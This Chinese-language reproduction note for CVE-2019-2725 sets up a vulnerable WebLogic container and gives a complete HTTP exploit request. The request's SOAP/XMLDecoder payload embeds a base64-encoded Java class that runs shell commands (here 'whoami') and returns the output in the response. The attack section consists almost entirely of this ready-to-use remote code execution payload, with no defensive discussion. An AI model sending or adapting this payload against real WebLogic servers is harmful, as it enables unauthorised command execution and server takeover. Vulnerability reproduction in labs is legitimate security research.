CVE-2019-2725 复现

Docker 搭建环境

docker pull ismaleiva90/weblogic12

docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
http://localhost:49163/console
User: weblogic
Pass: welcome1

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 4405

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
<java>
<class><string>org.slf4j.ext.EventData</string>
<void>
<string>
		<java>
			<void class="sun.misc.BASE64Decoder">
				<void method="decodeBuffer" id="byte_arr">	<string>yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7</string>
				</void>
			</void>
			<void class="org.mozilla.classfile.DefiningClassLoader">
				<void method="defineClass">
					<string>ResultBaseExec</string>
					<object idref="byte_arr"></object>
					<void method="newInstance">
						<void method="do_exec" id="result">
							<string>whoami</string>
						</void>
					</void>
				</void>
			</void>

			<void class="java.lang.Thread" method="currentThread">
				<void method="getCurrentWork" id="current_work">
					<void method="getClass">
						<void method="getDeclaredField">
							<string>connectionHandler</string>
								<void method="setAccessible"><boolean>true</boolean></void>
							<void method="get">
								<object idref="current_work"></object>
								<void method="getServletRequest">
									<void method="getResponse">
										<void method="getServletOutputStream">
											<void method="writeStream">
												<object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object>
												</void>
											<void method="flush"/>
											</void>
									<void method="getWriter"><void method="write"><string></string></void></void>
									</void>
								</void>
							</void>
						</void>
					</void>
				</void>
			</void>
		</java>
</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

参考如下：

https://github.com/lufeirider/CVE-2019-2725/